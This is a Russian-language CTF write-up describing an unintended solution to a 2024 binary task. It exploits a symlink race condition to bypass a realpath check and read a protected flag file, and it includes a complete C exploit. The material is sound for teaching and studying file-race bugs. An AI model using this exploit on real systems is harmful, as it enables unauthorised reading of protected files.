Filesystem race condition. Незапланированное решение задачи на Кубке CTF 2024

от автора

В статье рассмотрим нестандартное решение задания на бинарную эксплуатацию – “R4v5h4n N Dj4m5hu7” и обойдем проверку реального пути к файлу

Задание распространяется в виде докера с 2 исполняемыми файлами и 2 конфигурационными файлами для серверной части

client, server – бинарные файлы. Клиентская и серверная часть

flag_file_path – файл с путем до флага

server.cfg – файл с блокируемым путем. (об этом дальше)

Содержимое Dockerfile:

Содержимое entrypoint.sh:

Посмотрим на серверную часть. Откроем файл в IDA Pro и перейдем в декомпилированный вид. Приложение открывает сокет /home/task/log_socket

И ждет подключения, после чего создает форк самого себя и  запускает обработчик сообщений

Переключимся на клиентскую часть

Клиент подключается к сокету и ожидает ввода 2 строк – пути до файла и подстроки в этом файле. В общем, своеобразный grep для удаленной системы

Вернемся к серверной части и обработчику сообщений

Здесь приложение вызывает функцию load config

И ожидает две строки от клиента – путь и подстроку.

Затем проверяет, является ли файл разрешенным и запускает обработчик файла или директории в зависимости от переданного пути

Посмотрим на функцию load_config(). Здесь приложение читает файл с путем до флага и сохраняет его в переменную flag_path, затем читает конфиг с блокируемыми файлами

И добавляет все файлы, которые лежат в директории /proc/self (содержимое файла server.cfg) в черный список

Заметим, что файл /home/task/flag не добавлен в черный список и перейдем к функции process_file. Здесь видим, что переданный в функцию путь преобразуется к реальному, т.е. разрешаются все ссылки и конструкции вида “..\” и “.\” и затем происходит проверка на соответствие реального пути файлу с флагом. Если путь указывает на флаг, получаем ошибку.

Казалось бы, доступ к флагу просто чтением файла не получить, но можно провернуть трюк с гонкой.

Предположение следующее:

Если передать легитимный файл в директории, в которой решающий может создать файл (например, файл /home/ssh_user/test) и подменить его сразу после проверки реального пути, то получится прочитать флаг по ссылке.

Напишем собственный клиент.

Определим несколько дефайнов для удобства

#define TEST_FILE_PATH "/home/ssh_user/test" #define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa" #define FLAG_FILE_PATH "/home/task/flag" #define SOCKET_PATH "/home/task/log_socket"

Реализуем функцию отправки строки в сокет

unsigned long long send_string(char *sendstr, int socket_fd) {     char input_buf[4096] = {0};     int msg_len;     char *newline = strchr(sendstr, '\n');     if (newline) {         *newline = '\0';     }     msg_len = strlen(sendstr) + 1;     int ret = send(socket_fd, &msg_len, sizeof(int), 0);     check_err(ret, "Connection closed");     ret = send(socket_fd, sendstr, msg_len, 0);     check_err(ret, "Connection closed");     return 0; }

Функция создания легитимного файла

void create_file(const char *path) {     int fd = open(path, O_CREAT | O_WRONLY, 0644);     if (fd == -1) {         perror("Error creating file");         exit(EXIT_FAILURE);     }     write(fd, "This is a test file.\n", 21);     close(fd); }

Создаем файл

create_file(TEST_FILE_PATH);

Подключаемся к сокету и отправляем входные данные:

        int sockfd = connect_socket(SOCKET_PATH); char first[] = "/home/ssh_user/test"; char second[] = "{";         int ret = send_string(first,sockfd);         check_err(ret, "Failed to send '/home/ssh_user/test'");         ret = send_string(second,sockfd);         check_err(ret, "Failed to send '{'");

Затем необходимо в цикле реализовать схему:

1.      Удаление файлов – легитимного и ссылки на флаг

2.      Создание файла /home/ssh_user/test

3.      Создание ссылки на /home/task/flag

4.      Замена легитимного файла на ссылку

Цикл:

for(int j = 0; j < 50; j++){ remove(TEST_FILE_PATH); remove(SYMBOLIC_LINK_PATH);         create_file(TEST_FILE_PATH);          if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) {           close(sockfd);           perror("Failed to create symbolic link");           exit(EXIT_FAILURE);         } if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) {         perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa");         close(sockfd);         exit(EXIT_FAILURE);     }} 

Очевидно, что не обязательно наша идея сработает с первого раза, поэтому оборачиваем все в цикл на 50 итераций и получаем готовый эксплоит:

Эксплоит
#include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #include <sys/socket.h> #include <sys/un.h> #include <fcntl.h> #include <time.h>  #define TEST_FILE_PATH "/home/ssh_user/test" #define SYMBOLIC_LINK_PATH "/home/ssh_user/aaa" #define FLAG_FILE_PATH "/home/task/flag" #define SOCKET_PATH "/home/task/log_socket"  void check_err(int ret_val, const char *error_msg) {     if (ret_val == -1) {         perror(error_msg);         exit(EXIT_FAILURE);     } }  void create_file(const char *path) {     int fd = open(path, O_CREAT | O_WRONLY, 0644);     if (fd == -1) {         perror("Error creating file");         exit(EXIT_FAILURE);     }     write(fd, "This is a test file.\n", 21);     close(fd); }   int connect_socket(const char *socket_path) {     int sockfd;     struct sockaddr_un addr;      sockfd = socket(AF_UNIX, SOCK_STREAM, 0);     check_err(sockfd, "Socket creation failed");      memset(&addr, 0, sizeof(struct sockaddr_un));     addr.sun_family = AF_UNIX;     strncpy(addr.sun_path, socket_path, sizeof(addr.sun_path) - 1);      if (connect(sockfd, (struct sockaddr *)&addr, sizeof(struct sockaddr_un)) == -1) {         perror("Socket connection failed");         close(sockfd);         exit(EXIT_FAILURE);     }      return sockfd; }  unsigned long long send_string(char *sendstr, int socket_fd) {     char input_buf[4096] = {0};     int msg_len;           char *newline = strchr(sendstr, '\n');     if (newline) {         *newline = '\0';     }      msg_len = strlen(sendstr) + 1;      int ret = send(socket_fd, &msg_len, sizeof(int), 0);     check_err(ret, "Connection closed");      ret = send(socket_fd, sendstr, msg_len, 0);     check_err(ret, "Connection closed");      return 0; }  int main(int argc, char * argv[]) {           for (int i = 0; i < 50; i++) { remove(TEST_FILE_PATH); remove(SYMBOLIC_LINK_PATH);         create_file(TEST_FILE_PATH);          int sockfd = connect_socket(SOCKET_PATH);  char first[] = "/home/ssh_user/test"; char second[] = "{";         int ret = send_string(first,sockfd);         check_err(ret, "Failed to send '/home/ssh_user/test'");         ret = send_string(second,sockfd);         check_err(ret, "Failed to send '{'");  for(int j = 0; j < 50; j++){ remove(TEST_FILE_PATH); remove(SYMBOLIC_LINK_PATH);         create_file(TEST_FILE_PATH);          if (symlink(FLAG_FILE_PATH, SYMBOLIC_LINK_PATH) == -1) {             perror("Failed to create symbolic link");             exit(EXIT_FAILURE);         } if (rename(SYMBOLIC_LINK_PATH, TEST_FILE_PATH) == -1) {         perror("Failed to replace /home/ssh_user/test with /home/ssh_user/aaa");         close(sockfd);         exit(EXIT_FAILURE);     } }   sleep(atoi(argv[1]));         close(sockfd);      }           printf("Operation completed successfully.\n");      return 0; } 

Компилируем

gcc -o new_client new_client.c

Прокидываем на сервер и тестируем (флаг заменен на тестовый)

Запускаем сервер

Запускаем клиент

И получаем результат на одной из попыток

В результате мы обошли проверку реального пути с помощью функции realpath.

К слову, такая уязвимость является довольно серьезной и может приводить к опасным событиям. Например, к загрузке вредоносных модулей после проверки их легитимности. Единственное условие – возможность записи в директорию.

P.S.

Мы ведем telegram-канал AUTHORITY, в котором пишем об информационной безопасности и делимся инструментами, которые сами используем. Будем рады подписке


ссылка на оригинал статьи https://habr.com/ru/articles/854024/